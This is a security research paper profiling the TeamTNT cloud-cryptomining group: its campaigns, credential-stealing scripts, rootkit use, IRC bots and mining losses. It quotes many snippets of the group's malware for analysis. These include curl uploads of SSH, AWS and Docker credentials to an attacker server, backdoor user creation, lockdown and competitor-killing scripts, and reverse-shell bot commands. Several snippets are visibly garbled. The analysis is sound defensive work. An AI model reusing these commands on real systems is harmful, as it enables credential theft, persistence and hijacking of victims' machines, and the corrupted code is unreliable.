Tracking the Activities of TeamTNT
A Closer Look at a Cloud-Focused Malicious Actor Group

David Fiser and Alfredo Oliveira
In 2019, we set up a container honeypot, a device with an exposed daemon, and almost immediately started to observe a massive cryptocurrency miner deployment across the Linux threat landscape. We later extended our honeypot base on a misconfigured deployment of Redis, a popular open-source in-memory data structure store designed for deployment only in secure environments. This confirmed our observations on the cryptocurrency mining trend, which we decided to further investigate.

In 2020, we noticed that the deployment scripts became more advanced and more aggressive to other malicious actors. The payloads were created by a malicious actor group called TeamTNT.

Based on its activities, TeamTNT’s main motivation for its campaigns is money, which it tries to obtain by targeting Linux environments, including organizations’ cloud infrastructures. We have previously written about TeamTNT and noted the evolution of its activities. In this paper, we aim to summarize our findings on the group by taking a closer look at its activities in 2020 and early 2021.
Background

The first possible mention of TeamTNT was in 2011, when a website called gold.de was hacked by a group using the signature “HildeGard@TeamTNT”. This is similar to the signatures we saw in some malicious shell scripts and ELF (Executable and Linkable Format) files, which contained the words “TeamTNT” and “HildeGard”.

We believe that at least some members of the group are actors who are native German speakers as their scripts and text, including posts on social media, are written in fluent German.

Figure 1. TeamTNT’s signatures

Figure 2. Examples of TeamTNT’s usage of German on social media and in shell scripts. The shell script text shows a tongue-in-cheek comment from a TeamTNT developer complaining that he would have to take his wife to Japan for a vacation.
The precise number of people behind a hacking group is always difficult to estimate. Such a number therefore has to be considered with an error margin. However, we believe that the number of people behind TeamTNT is at least — if not exactly — 12. This estimate is based on one of the group's posts on its Twitter account. We also believe that the group is actively hiring new members.

Figure 3. A tweet from TeamTNT complaining about managing a group of 12 programmers

Identifying the individual members of the team can be an even more difficult challenge. Since we do not want to make false attributions in our research, we do not speculate on this matter.

The actors behind TeamTNT profile themselves either as “honest robbers” who mean no harm or as red team penetration testers, often teasing security researchers in the process. But as we can see in the later section on cryptocurrency mining, the group's seemingly “harmless” activity can actually cause heavy financial losses.

Figure 4. TeamTNT's red team profile and researcher teasing
TeamTNT is active on Twitter, tending to announce its active campaigns and new malware features on the social network. The group also uses social media to justify its cause or to complain about security companies and researchers.

Figure 5. TeamTNT’s Christmas campaign notification on Twitter

Figure 6. A tweet from TeamTNT complaining about security researchers
We followed the activities of TeamTNT and reported on several incidents, beginning with its attack that involved the deployment of cryptocurrency miners and distributed denial-of-service (DDoS) botnets against open and misconfigured Docker Daemon ports. In 2020 and early 2021, we tracked more incidents involving the group, including its use of the DDoS-capable IRC (Internet Relay Chat) bot TNTbotinger in December 2020 and its integration of a malicious shell script for stealing cloud credentials in January 2021.

Indeed, TeamTNT launched a number of campaigns in 2020 and early 2021. Some of them were fairly simple and straightforward, such as the group’s Covid-19 campaign, which capitalized on pandemic-related topics for its malware nomenclature. Others made full use of the TeamTNT’s repertoire of tools and techniques. We discuss some of the more notable ones in the succeeding subsections. It should be noted that the campaigns are not displayed in any specific order. Furthermore, some of the characteristics of the malware used in these campaigns, such as the malware’s wormlike behavior, also make it difficult to determine whether they are still actively being pursued by the group.

<table>
<thead>
<tr>
<th>Campaign name</th>
<th>Language</th>
</tr>
</thead>
<tbody>
<tr>
<td>Covid-19</td>
<td>English/German</td>
</tr>
<tr>
<td>Black-T</td>
<td>English</td>
</tr>
<tr>
<td>Competitor Killer</td>
<td>English</td>
</tr>
<tr>
<td>Dual Installer</td>
<td>English</td>
</tr>
<tr>
<td>Kinsing Killer</td>
<td>English/German</td>
</tr>
<tr>
<td>Meoow</td>
<td>English/German</td>
</tr>
<tr>
<td>SayHi</td>
<td>English</td>
</tr>
<tr>
<td>Weave Persistent</td>
<td>English</td>
</tr>
<tr>
<td>PWN Redis</td>
<td>English/German</td>
</tr>
<tr>
<td>Get Some SSH</td>
<td>English</td>
</tr>
<tr>
<td>Docker4Mac</td>
<td>English</td>
</tr>
<tr>
<td>AWS Stealer</td>
<td>English</td>
</tr>
</tbody>
</table>

Table 1. TeamTNT campaigns in 2020 and early 2021
Covid-19

Like other malicious actor groups, TeamTNT banked on the theme of Covid-19. In its case, the group did so specifically in naming its malware and deployment URLs. The group took advantage of related topics to spread malicious samples, with the first seen in April 2020 and the last in May 2020. The campaign was short-lived, which was unusual given that the pandemic had then just started. It is possible that the group was not getting the results it wanted, or that it did not want to linger in an already crowded space.

Figure 7. A sample code snippet from TeamTNT's Covid-19 campaign

Black-T

A unique feature of TeamTNT’s Black-T campaign was its function called INFECT_ALL_CONTAINERS, which did exactly what its name implied: Check for running containers and deploy malicious samples in these containers.

Figure 8. A sample code snippet showing the INFECT_ALL_CONTAINERS function
After deploying malicious samples in the running containers, it also deployed malicious containers — another unique characteristic of this campaign, and one that generated plenty of awareness within the DevOps community.

Figure 9. A forum post regarding TeamTNT’s Black-T campaign

Kinsing Killer

A threat known for targeting container systems, Kinsing gained notoriety at the beginning of 2020 when it targeted misconfigured Docker Daemon API ports. Since the target environments were shared and there was fierce competition for resources, TeamTNT started implementing functions to find and neutralize traces of Kinsing infections on the victim environments to ensure that its malware was the only one running — a technique it also used against “competitors.”
In December 2020, we sourced a sample from a campaign we called Docker4Mac because of the unique string found in the code, a marker indicating the primary targets: Docker users with macOS machines. We determined that the sample was based on a valid script from an open-source project called Weave Scope, which maps, monitors, and manages containers and pods. TeamTNT injected malicious instructions into the file, changing its purpose, luring project users, and infecting container and container orchestration environments.

This campaign aims to steal cloud service provider (CSP) credentials and deploy a cryptocurrency miner during the same routine — something not seen before as the group’s other campaigns would perform these actions in different phases of the attack. This was also one of the first times that container orchestration technologies were targeted, in this case via proxy.
Figure 11. Code snippets from the first sample sourced (top) and the last lines of the same sample (bottom) from TeamTNT’s Docker4Mac campaign

AWS Stealer

Malicious actors typically exploit a security weakness in a target device to be able to execute their code and ultimately accomplish their goals. But with exploits becoming too expensive to purchase and finding new vulnerabilities becoming more complicated with more secure systems, some malicious actors — in this case, TeamTNT actors — instead look for misconfigurations or improper implementations of settings as an entry point into their target system.
Toward the end of 2020, TeamTNT started a campaign targeting customer instances running on Amazon Web Services (AWS). In this scenario, if TeamTNT was able to compromise and access an instance, the group would be able to access any credentials available via the instance’s metadata service. It is important to note that the metadata server can be queried only from inside an instance since the IP address is a link-local address. As containers and misconfigured services were the previous targets of TeamTNT, the group coincidentally had its malware running on a couple of hundred customer instances.

While TeamTNT's infection routines vary depending on the campaign, a typical attack pattern involves the group’s scanner obtaining a list of targets (for example, IP addresses), which it then scans for security weaknesses and misconfigurations, such as unsecured Redis instances, vulnerable internet-of-things (IoT) devices, exposed Docker APIs, leaked credentials, and devices accessible via Secure Shell (SSH).
If TeamTNT finds a security issue from the obtained scan results, the group starts delivering its payloads to victims. If able to be run on compromised hosts, the group’s typical payloads include credential stealers, local network scanners, reverse/bind shells, cryptocurrency miners, and even IRC bots.

For an enterprise, the impact of a successful TeamTNT attack could be particularly devastating. In a later section, we discuss the monetary impact of a cryptocurrency miner payload. But that is just one part of the story: Beyond what an organization or an individual could lose monetarily, attacks could also disrupt whole systems through resource hijacking, leading to denial of service and other interruptions to the operation.

Perhaps even more concerning for an organization is the theft of cloud credentials, which, depending on the permissions associated with them, could allow a malicious actor to access and even gain control over parts of the IT infrastructure. From there, the actor could perform a number of malicious activities, such as shutting down systems, accessing confidential data, creating backdoors to gain permanent access to the system, and, of course, installing cryptocurrency miners and other malware.
Credential Theft Techniques

One of TeamTNT’s primary goals with its activities is the theft of an organization’s credentials. This could be particularly damaging, as the group could use the credentials, depending on the permissions associated with them, to gain access to other IT systems in order to infect more machines and deploy additional cryptocurrency miners.

In this section, we describe a few of the techniques the group uses to steal credentials.

SSH Credential Theft

A behavior of TeamTNT we have often observed is the theft of local credentials and the creation of local users while ensuring that the selected user is configured to be reachable over SSH. This is done to create a method of returning to the system after the infection. In many cases, the attackers deploy their own SSH public keys.

```
curl -F "userfile=@/etc/ssh/ssh_host" http://sayhi.bplaced.net/uploads/index.php
curl -F "userfile=@/etc/hosts" http://sayhi.bplaced.net/uploads/index.php
ps aux >> /tmp/psaux; curl -F "userfile=@/tmp/psaux"
netstat -anop >> /tmp/netstat; curl -F "userfile=@/tmp/netstat"

tar cf zg /tmp/.ssh.tar.gz /root/.ssh/ /home/*//.ssh/ /.ssh_history
[root/.ssh/ bash_history
rm -f /tmp/.ssh.tar.gz
```

Figure 14. An example of code used by TeamTNT to search for compromised systems from which the group could steal SSH credentials

AWS Credential Theft

Beginning in the last quarter of 2020, many of the samples we found featured functions designed to search an infected system for AWS credentials. Initially, these samples had only bare-bones features, searching for the credentials file under the root user home folder. But the group soon released a newer variant that expanded the search to other users, with the end goal of gaining access to any credentials placed by customers in ~/.aws/credentials.
The newer versions of the malware now search multiple locations and check environment variables where customers might have placed AWS credentials. The primary targets of these functions are users who use the AWS command-line interface tool or AWS frameworks that allow saving of authorization information on the user’s machine — in either plain-text files or plain-text variables.

## Docker API Credential Theft

In January 2021, we acquired via a container honeypot a sample that showed an interesting behavior: It searches compromised systems not only for SSH and AWS credentials but also for Docker API credentials. Any credential files that the malware finds are uploaded to a command-and-control (C&C) server.

```bash
function AWS.Upload(){
  if (![-e /root/.aws/ ] || [-e /home/]/.aws/ ] ); then
tar cvzf /tmp/aws.tar.gz /root/.aws/credentials /root/.aws/config
/home//.aws/credentials /home//.aws/config
curl -F "userfile=0/tmp/aws.tar.gz" $RSASEUPLOAD 2>/dev/null
rm -f /tmp/aws.tar.gz
history -c
fi
}

function DOCKER.Upload(){
  if (![-e /root/.docker/ ] || [-e /home/]/.docker/ ] ); then
tar cvzf /tmp/docker.tar.gz /root/.docker/credentials
/home//.docker/credentials
curl -F "userfile=0/tmp/docker.tar.gz" $RSASEUPLOAD 2>/dev/null
rm -f /tmp/docker.tar.gz
history -c
fi
}
```

Figure 15. An example of code used by TeamTNT to search for compromised systems from which the group could steal Docker API credentials

Docker users who wish to manage the service remotely can customize the API with their desired settings — from no security whatsoever to cryptography and credential requirements. While data from Shodan shows that the number of unsecure Docker APIs have been decreasing, malicious actors are also seemingly adapting to the times by customizing their malware further.

## Advanced Credential Harvesting

In 2021, we discovered a TeamTNT campaign with extended credential harvesting capabilities targeting customers of multiple cloud services and other services that potential victims might be using. These include AWS, Cloudflare, Google Cloud, Git, SMB services, FTP, and other services where credentials might be present.\(^{13}\)
Backdoors

As TeamTNT continuously develops and tests its payloads, we have seen the group deploy multiple backdoors, including two open-source remote shells.\textsuperscript{14}

One is named tshd (tiny shell daemon). Using keywords from the reversed binary, we were able to track it back to the open-source GitHub project. The other backdoor is inspired by Q-shell, a remote shell using Blowfish encryption for transmitted data. However, the dominant payload is the adopted IRC bot we describe in the later section on TeamTNT’s IRC bot.

```c
/* howdy */

switch( message[0] )
{
    case GET_FILE:
        ret = tshd_get_file( client );
        break;
    case PUT_FILE:
        ret = tshd_put_file( client );
        break;
    case RUNSHELL:
        ret = tshd_runshell( client );
        break;
    default:
        ret = 12;
        break;
}

shutdown( client, 2 );
return( ret );
```

Figure 16. Examples of the backdoors used by TeamTNT
Another trend we observed in 2020 is the integration of rootkits into Linux-based threats for persistence and stealth.\textsuperscript{15} Stealth, in particular, is a crucial factor for cryptocurrency mining activities since, without any limitations in place, the mining process will quickly raise red flags as the CPU utilization spikes to 100%. Even if this anomalous behavior is not spotted by an administrator, it will likely trigger warnings in the cloud provider’s system, which will then send a notification to the user. To get around this, malware authors have introduced new features to hide the process from administrators and system tools.

TeamTNT is no exception. The group uses a kernel-mode open-source rootkit called Diamorphine,\textsuperscript{16} which creates function hooks for the following system calls:

- \texttt{getdents/getdents64}: This hook allows hiding file system entries from user-mode applications. The actual process hiding is implemented in this hook as the Unix uses the /proc pseudo-file system as an interface to kernel process structures.

- \texttt{kill}: This hook implements the main functionality of the rootkit, which is dependent on the signal sent to the process based on the following:
  - The signal SIGINVIS = 31 flips the process custom PF_INVISIBLE flag to the task associated with the specified process ID (pid).
  ```c
  if ((task = find_task(pid)) == NULL)
      return -ESRCH;
  task->flags ^= PF_INVISIBLE;
  break;
  ```
  - The signal SIGSUPER = 64 obtains root privileges by committing new credentials with uids = 0.
  - The signal SIGMODINVIS = 63 hides/reveals the presence of the kernel module.
Diamorphine is used for hiding the cryptocurrency mining process in which, in this context, the kernel module itself is hidden by default as the hide function is called during the module initialization phase.

```
if [ -s /.../dia/diamorphine.ko ]; then
echo "diamorphine.ko gefunden!"
kill -31 $(pidof /usr/share/[crypto]); history -c
```

Figure 17. The Diamorphine module initialization phase

The following discussion demonstrates the described behavior of Diamorphine.

After the cryptocurrency process using XMRig is started, the signal SIGINVIS is sent to the mining process.

Figure 18. The XMRig process

This is done by executing the kill utility with the argument SIGINVIS and the target process ID. The utility calls linux syscall, which is then intercepted by Diamorphine, rendering the process invisible to user-mode applications.

Figure 19. Sending a SIGINVIS signal to the Diamorphine rootkit, effectively hiding the cryptocurrency mining process

If we compare the output of the top utility before the hiding signal is sent to the rootkit module and after the signal is sent, we can observe that the XMRig process (pid = 12254) is causing the CPU usage to spike.17
However, after the hiding signal is sent, the process is not seen by the utility and remains undetected.

At this point, we should emphasize that a root user permission with CAP_SYS_ADMIN capability is required to install the kernel module. As malware authors target container environments, there is the danger of privileged containers that allow users to obtain full host root with all capabilities and thus can also be used to install kernel mode rootkits such as Diamorphine.

Malware authors have also optimized the usability of XMRig for cloud environments by decreasing the maximum percentage of CPU usage in order to remain undetected and not trigger necessary alarms. It should be noted that running unwanted cryptocurrency miners in public clouds will lead to additional costs.
Notable Payload Functionalities

TeamTNT deploys a number of payloads in its campaigns, including cryptocurrency miners, credential stealers, and even IRC bots (which we discuss in a later section). Many of these payloads have interesting functionalities that are designed to make them stealthier and more efficient.

Pushing Out the Competition

When a security weakness in an internet-connected device is present, there is a high chance that multiple attackers will target it for their own purposes. Given that some malware, such as cryptocurrency miners, often makes heavy use of hardware resources, malicious actors often find it necessary to ensure that no other malicious actors are running their own payloads, since this will result in resources being split among the payloads.

TeamTNT is no different, as the group has implemented its own ever-evolving functions for pushing out competing cryptocurrency miners. An example of this is mentioned in a previous section; in that example, TeamTNT pushes out traces of Kinsing in a target's system.

```bash
kill_miner_proc()
{
    netstat -anp | grep 1805.71.05.239 | awk '{print $7}' | awk -F'/' '{print $1}' | xargs -I% kill -9 %
    netstat -anp | grep 140.82.92.87 | awk '{print $7}' | awk -F'/' '{print $1}' | xargs -I% kill -9 %
    netstat -anp | grep 440.20.92.87 | awk '{print $7}' | awk -F'/' '{print $1}' | xargs -I% kill -9 %
    netstat -anp | grep -h 4403 | awk '{print $7}' | awk -F'/' '{print $1}' | grep -v "" | xargs -I% kill -9 %
    netstat -anp | grep -h 2222 | awk '{print $7}' | awk -F'/' '{print $1}' | grep -v "" | xargs -I% kill -9 %
    netstat -anp | grep -h 3333 | awk '{print $7}' | awk -F'/' '{print $1}' | grep -v "" | xargs -I% kill -9 %
    netstat -anp | grep -h 3389 | awk '{print $7}' | awk -F'/' '{print $1}' | grep -v "" | xargs -I% kill -9 %
    netstat -anp | grep -h 4444 | awk '{print $7}' | awk -F'/' '{print $1}' | grep -v "" | xargs -I% kill -9 %
    netstat -anp | grep -h 5555 | awk '{print $7}' | awk -F'/' '{print $1}' | grep -v "" | xargs -I% kill -9 %
    netstat -anp | grep -h 5566 | awk '{print $7}' | awk -F'/' '{print $1}' | grep -v "" | xargs -I% kill -9 %
    netstat -anp | grep -h 5567 | awk '{print $7}' | awk -F'/' '{print $1}' | grep -v "" | xargs -I% kill -9 %
    netstat -anp | grep -h 5568 | awk '{print $7}' | awk -F'/' '{print $1}' | grep -v "" | xargs -I% kill -9 %
    netstat -anp | grep -h 5569 | awk '{print $7}' | awk -F'/' '{print $1}' | grep -v "" | xargs -I% kill -9 %
    netstat -anp | grep -h 5577 | awk '{print $7}' | awk -F'/' '{print $1}' | grep -v "" | xargs -I% kill -9 %
    netstat -anp | grep -h 5588 | awk '{print $7}' | awk -F'/' '{print $1}' | grep -v "" | xargs -I% kill -9 %
    netstat -anp | grep -h 5599 | awk '{print $7}' | awk -F'/' '{print $1}' | grep -v "" | xargs -I% kill -9 %
    ps aux | grep -u grep | grep -i 3333 | awk '{print $2}' | xargs -I% kill -9 %
    ps aux | grep -u grep | grep -i 5555 | awk '{print $2}' | xargs -I% kill -9 %
    ps aux | grep -u grep | grep -i 5566 | awk '{print $2}' | xargs -I% kill -9 %
    ps aux | grep -u grep | grep -i 5567 | awk '{print $2}' | xargs -I% kill -9 %
    ps aux | grep -u grep | grep -i 5568 | awk '{print $2}' | xargs -I% kill -9 %
    ps aux | grep -u grep | grep -i 5569 | awk '{print $2}' | xargs -I% kill -9 %
    ps aux | grep -u grep | grep -i 5577 | awk '{print $2}' | xargs -I% kill -9 %
    ps aux | grep -u grep | grep -i 5588 | awk '{print $2}' | xargs -I% kill -9 %
    ps aux | grep -u grep | grep -i 5599 | awk '{print $2}' | xargs -I% kill -9 %
}
```

Figure 21. A function showing how a cryptocurrency miner from TeamTNT pushes out the competition
Persistence Mechanisms

The second stage of a TeamTNT payload is typically designed for persistence, where it will be executed again even after the affected device is restarted. This is typically accomplished via a cryptocurrency miner system service.

```bash
KINSING1=$(ps ax | grep -v grep | grep "/var/tmp/kinsing")
if [ "x" "$KINSING1" ];
    then
tnrecht -i /var/tmp/kinsing 2>/dev/null 1>/dev/null
chmod -x /var/tmp/kinsing 2>/dev/null 1>/dev/null
kill $ps ax | grep -v grep | grep "/var/tmp/kinsing" | awk '{print $1}' 2>/dev/null 1>/dev/null
kill $(pidof /var/tmp/kinsing) 2>/dev/null 1>/dev/null
rm -f /var/tmp/kinsing 2>/dev/null 1>/dev/null
echo "$StringToLock" > /var/tmp/kinsing
then
tnrecht +i /var/tmp/kinsing 2>/dev/null 1>/dev/null
history -c 2>/dev/null 1>/dev/null
fi
KINSING2=$(ps ax | grep -v grep | grep "/tmp/kdevtapfsi")
if [ "x" "$KINSING2" ];
    then
tnrecht -i /tmp/kdevtapfsi 2>/dev/null 1>/dev/null
chmod -x /tmp/kdevtapfsi 2>/dev/null 1>/dev/null
kill $ps ax | grep -v grep | grep "/tmp/kdevtapfsi" | awk '{print $1}' 2>/dev/null 1>/dev/null
kill $(pidof /tmp/kdevtapfsi) 2>/dev/null 1>/dev/null
rm -f /tmp/kdevtapfsi 2>/dev/null 1>/dev/null
echo "$StringToLock" > /tmp/kdevtapfsi
then
tnrecht +i /tmp/kdevtapfsi 2>/dev/null 1>/dev/null
history -c 2>/dev/null 1>/dev/null
fi
```

Figure 22. Neutralizing traces of Kinsing in the target's system

Figure 23. Creating persistence by deploying system services
Custom User Agent

Early versions of TeamTNT’s payloads used downloads via `wget` and `curl` without any additional parameters. Over time, the group introduced a custom user agent HTTP header into its shell scripts, allowing them to have special handling routines on the server side for providing better statistics or limiting payload downloads for specified agents. The user agent header varies across TeamTNT’s campaigns.

```
curl --referer $REFERER --user-agent TNTcurl $CURLOPTA $GETFROM -o $PUTITTO
```

Figure 24. An example of TeamTNT’s custom user agent usage

Lockdown

The lockdown function first removes an immutability flag that might have been set on the binaries — which are used for shutting down or rebooting the targeted machine — for protective reasons. The script then removes any execution permission from the binaries and finally sets the immutability property again, making sure that the binaries cannot be replaced, be modified, or have their permissions changed.

Altering the properties is done using `chattr`, which is clever since this command is not well known.

```bash
function LockDownTheSystem(){
    LOCKDOWNNARRAY=('shutdown reboot poweroff telinit')
    for LOCKDOWN in ${LOCKDOWNNARRAY[@]}; do
        LOCKDOWNBIN=`which $LOCKDOWN` >dev/null 1>dev/null
        chattr -i $LOCKDOWNBIN 2>dev/null 1>dev/null
        chattr -x $LOCKDOWNBIN 2>dev/null 1>dev/null
        chmod 000 $LOCKDOWNBIN 2>dev/null 1>dev/null
        chattr +i $LOCKDOWNBIN 2>dev/null 1>dev/null
        chattr +i /proc/sysrq-trigger 2>dev/null 1>dev/null
        chattr +i /proc/sysrq-trigger 2>dev/null 1>dev/null
        chattr $LOCKDOWNFILES('$/lib/systemd/system/reboot.target' '/lib/systemd/system/systemd-reboot.service')
        for LOCKDOWNFILE in ${LOCKDOWNNFILES[@]}; do
            chattr -i $LOCKDOWNFILE 2>dev/null 1>dev/null
            chattr -i $LOCKDOWNFILE 2>dev/null 1>dev/null
            chattr -x $LOCKDOWNFILE 2>dev/null 1>dev/null
            chattr $LOCKDOWNFILE
            rm -f $LOCKDOWNFILE 2>dev/null 1>dev/null
            done
        }
```

Figure 25. The lockdown function in action
Account Creation

In some campaigns, TeamTNT creates a new user in the affected system in order to gain future access. The group also includes its own SSH public key to be able to log in using its private key via the key pair authentication system.\(^{21}\)

```
sudo chattr -ia /etc/passwd
sleep 3
sudo chattr -ia /etc/shadow
sleep 3
sudo chattr -ia /etc/ssh/sshd_config
sleep 3
useradd -p /BrKiPmX42eAQ -G root hilde
sleep 3
adduser hilde
sleep 3
usermod -aG sudoers hilde
sleep 3
usermod -aG root hilde
sleep 3
sudo adduser hilde sudo
sudo adduser hilde sudoers
sudo adduser hilde root
```

Figure 26. Creating a new system account

Masquerading the Payload

The initial payloads deployed by TeamTNT were distributed without any obfuscation, encryption, or packing, with the deploying shell scripts being written in plain text. Eventually, the group evolved its payloads by replacing the plain-text shell scripts with ones that had Base64 encoding.

In the case of ELF binaries, TeamTNT started by using packers such as the popular multiplatform executable packer UPX (Ultimate Packer for Executables).\(^{22}\) The next version added another layer on top of the packed UPX executable, a Go-compiled binary with a payload, encrypted via AES (Advanced Encryption Standard), with a hard-coded key and initialization vector. The packer used is based on the Ezuri packer, a freely available project on GitHub.\(^{23}\)
Figure 27. Using the Ezuri packer in one of TeamTNT’s campaigns
IRC Bot Evolution

Chatbots provide a number of specific functions. For example, they can be used for game notifications, build notifications, or status messages in corporate environments. But they can also be used for malicious purposes. Together with open protocol specifications and open-source software, chatbots can be used to deploy communication channels for malicious actors. An IRC server can act as the C&C module of malware, sending commands to connected bots (infected clients). An example of a malicious IRC bot is the notorious Dorkbot, which exfiltrates credentials in an infected system via IRC messages.24

One of the first known pieces of malware targeting IoT devices was Hydra, which was released in 2008. It used IRC botnets — that is, networks of IRC bots — in its DDoS attacks.25 Two years later, Kaiten (aka Tsunami) extended bot capabilities by adding several functionalities, such as a bot-killing feature that removes traces of previous infections from an infected router.26

TeamTNT also has its own IRC bot in its attacks. Based on the nonstripped information left by the compiler as well as the bot's functions, we can surmise that the initial version of the IRC bot used by the group is based on Kaiten.
Figure 29. The nonstripped kaiten.c compile information indicating that the initial version of TeamTNT’s IRC bot is based on Kaiten.

As the source code is publicly available on GitHub, it is no surprise that malicious actors are already using this software.

```c
#include <stdio.h>

extern void Send(int, char *, long);

int main(void) {
    int argc, i, j;
    char *argv[

    Send(1, "MSG ", (unsigned int) :TSUWATI <target> <secs> = Special packeter that won't be blocked by most firewalls\n",
    Send(217); /*
    Send(1, "MSG ", (unsigned int) :MAN <target> <port> <secs> = An advanced syn flooder that will kill most network drivers
",
    send(217); /*
    Send(1, "MSG first :UDP <target> <port> <secs> = A udp flooder\n",
}
```

Figure 30. TeamTNT’s IRC bot decompiled

Later versions of the bot are based on an evolved Kaiten variant called Ziggy StarTux, which introduces new commands and a simple transposition cipher to encrypt “confidential” strings such as the server address.

```c
/* IRC <command> = Sends this command to the server */
/* SH <command> = Executes a command */
/* BASH <command> = Run a bash command */
/* ISH <command> = Interactive SH (via privmsg) */
/* SHD <command> = Daemonize command */
/* UPDATE <http://server/bot> = Update this bot */
/* HACKPVG <http://server/borg> = Install binary (no dependencies) */
/* RHHEEL (ip port) = Equates to nohup nc ip port */
/* SYSINFO = Get system information */
/* Remember, all these commands must be prefixed by a ! and the nickname that */
/* you want the command to be sent to (can include wildcards). There are no */
/* spaces in between the ! and the nickname, and there are no spaces before */
/* the ! */
/* */
/* ***************************************************************************/
```

Figure 31. A snippet of the Ziggy StarTux source code with new commands added

It is likely that the introduction of a new version of the bot was a result of the group’s looking to expand the functionalities of the base version.
As if to stamp its mark on the tool, TeamTNT started to place its own signatures on the IRC bot, in addition to its modifications.

```
000000000005DA2     mov    eax, [rbp+var_A]
000000000005DA5     lea    rcx, botversion ; "TeamTNT goes wild"
00000000000D4AC     lea    rsi, aNoticeTntbot1 ; "NOTICE %s :TNTbotinger. \n"
00000000000D5B3     mov    edi, eax
00000000000D5BB     mov    eax, 0
00000000000D5B8     call    Send
00000000000D5BF     mov    edi, 1 ; seconds
00000000000D6C4     call    sleep
```

Figure 32. A version of TeamTNT’s IRC bot that includes a custom signature

The group also implemented its own commands, which are used to download the source and compile the delivery scheme on a victim machine.

```
Send(sock,"NOTICE %s :IRC <command>
Send(sock,"NOTICE %s :ISH <command>
Send(sock,"NOTICE %s :SRV <command>
Send(sock,"NOTICE %s :GET <ftp server>
Send(sock,"NOTICE %s :INSTALL <http server/file_name>
Send(sock,"NOTICE %s :BASH <cmd>
Send(sock,"NOTICE %s :RNUPDATE <http server/package>
Send(sock,"NOTICE %s :SCAN <mmap options>
Send(sock,"NOTICE %s :RSH <server> <port>
Send(sock,"NOTICE %s :LOCKUP <http server>
Send(sock,"NOTICE %s :GETSSH <http server/dropbearmulti>
exit(0);
```

Figure 33. New commands added by TeamTNT to its IRC bot

Figure 34. TeamTNT’s IRC bot deployment

```
- Sends this command to the server\n","sender); sleep(1);
- Executes a command\n","sender); sleep(1);
- SH, interactive, sends to channel\n","sender); sleep(1);
- Executes a pseudo-dosnized command\n","sender); sleep(1);
- Get a proper binary\n","sender); sleep(1);
- Download & install a binary to /var/bin \n","sender); sleep(1);
- Execute commands using bash\n","sender); sleep(1);
- Update a binary in /var/bin via wget \n","sender); sleep(1);
- Call the map wrapper script and scan with your opts\n","sender); sleep(1);
- Equates to mosh up port -e /bin/sh\n","sender); sleep(1);
- Kill telnet, d/l ses backdoor from <server>, run that instead\n","sender); sleep(1);
- D/l, install, configure and start dropbear on port 30022\n","sender); sleep(1);
```
Impact of Cryptocurrency Mining Activities

Cryptocurrencies have changed how malware monetization works. One example of this is the use of cryptocurrencies for ransomware payments, which lends transactions both anonymity and the potential for easy laundering. Another type of cryptocurrency monetization is cryptocurrency mining, which, although not malicious by itself, is often brought upon unsuspecting users by malicious actors.

Most devices often do not provide enough computational power for effective cryptocurrency mining. Thus, to compensate for this lack, malicious actors often either target more powerful and efficient devices or simply use a sizeable botnet in a quantity-over-quality scenario. In any case, cryptocurrency mining demands plenty in terms of hardware, electricity, and other associated resources. One of the frequent targets of cryptocurrency mining attacks is Linux systems with open and unsecure services and APIs, such as container engines that provide benefits to organizations in the development and environmental stability of deployed applications.

With the global market capitalization of cryptocurrencies at US$1.63 trillion at the time of this writing (June 2021), cryptocurrency mining is a lucrative opportunity for monetization. During our investigation of TeamTNT, we found several wallet IDs connected to the same cryptocurrency pool, gulf[.]moneroocean[.] stream. Using the pool statistics of the wallets, we discovered that the group had mined more than 17.86 Monero coins. Because of the high volatility of the exchange rate over time, we could only estimate the US dollar value to range from US$1,100 to US$3,800 within the time frame from March 2020 to March 2021.
While 17.86 Monero coins might not look high, the real cost of mining such an amount might paint a different picture. To estimate the corresponding cost, we did an experiment using a 3.0-gigahertz, 6-core Intel i5-8500B Coffee Lake CPU with 8 gigabytes of RAM, which is not a high-end platform and has no GPU that can enhance cryptocurrency mining. Our model hardware was able to produce 1,000 hashes per second on average over a 24-hour period. This performance is above average compared to the number of hashes per second from infected nodes shown in Figure 35.

Our hardware was able to mine 0.0005 Monero coins within 24 hours. To mine 17.86 Monero coins, we would need approximately 35,600 infected devices with the same specifications mining for 24 hours. If we assume that the power consumption of the CPU is 100 watts, then the electrical energy needed for that would be 85.44 megawatt-hours (MWh). If we use a conversion of 1 MWh equaling US$140, we would get an electricity bill of US$11,961.60 — not even taking into account the damage caused by operating at 100% load.

If we have to pay the electricity bill for the mining activities, we would lose over US$9,000 in our model case. It should be noted that the real amount will be different as there are many variables to consider. For instance, the price of electricity varies by geographic location, and not every machine has the same performance or power efficiency. Still, the losses for users who have their machines used for mining activities will be considerable.
Conclusion

Malware monetization remains a strong motivator for malicious actors. With organizations focusing on cloud technologies amid the Covid-19 pandemic, it is not surprising to see malicious actor groups shifting their operations to the cloud as it becomes an increasingly lucrative target. Cryptocurrency mining remains popular as a monetization method because of its stealth and heavy automation, allowing malicious actors to deploy their malware with relative ease. The availability of open-source software like Diamorphine also provides malicious actor groups with additional tools for their arsenal.

TeamTNT itself has been shifting its focus to cloud technologies. In its recent campaigns, the group has been actively searching for cloud credentials, exploiting server misconfigurations, and competing in the cryptocurrency mining sphere. Given what we have seen from the group in a relatively short time, we can expect TeamTNT to continuously evolve its tools and techniques.
Recommendations

We have been seeing an increasing focus on cloud-based attacks and campaigns among groups such as TeamTNT, which are looking to take advantage of organizations shifting to cloud services. Organizations should therefore be especially vigilant with their cloud implementations, paying heed to the shared responsibility model, in which the CSPs are responsible for securing the infrastructure while the organizations are responsible for handling the cloud assets, such as data, applications, and configurations.

We recommend that security personnel and IT administrators implement best practices such as the following to minimize the chance of a successful attack from a cloud-focused group like TeamTNT:

- Apply the principle of least privilege, in which users are granted access only to the parts of the system they need, to reduce the attack surface and help contain damage even in the event of a successful attack.
- For organizations that have SSH enabled, implement private keys authentication on the client side to enhance access control security.
- Update systems and devices regularly to reduce the probability that vulnerabilities are exploited.

Cloud-focused security solutions such as the Trend Micro Cloud One™ security services platform helps protect cloud-native systems by providing protection for continuous-integration and continuous-delivery (CI/CD) pipelines and applications. The platform includes:

- Workload Security: runtime protection for workloads
- Container Security: automated container image and registry scanning
- File Storage Security: security for cloud files and object storage services
- Network Security: cloud network layer for intrusion prevention system (IPS) security
- Application Security: security for serverless functions, APIs, and applications
- Conformity: real-time security for cloud infrastructure — secure, optimize, comply
## Appendix

### MITRE ATT&CK Tactics and Techniques

<table>
<thead>
<tr>
<th>Reconnaissance</th>
<th>Resource development</th>
<th>Initial access</th>
<th>Execution</th>
<th>Persistence</th>
</tr>
</thead>
<tbody>
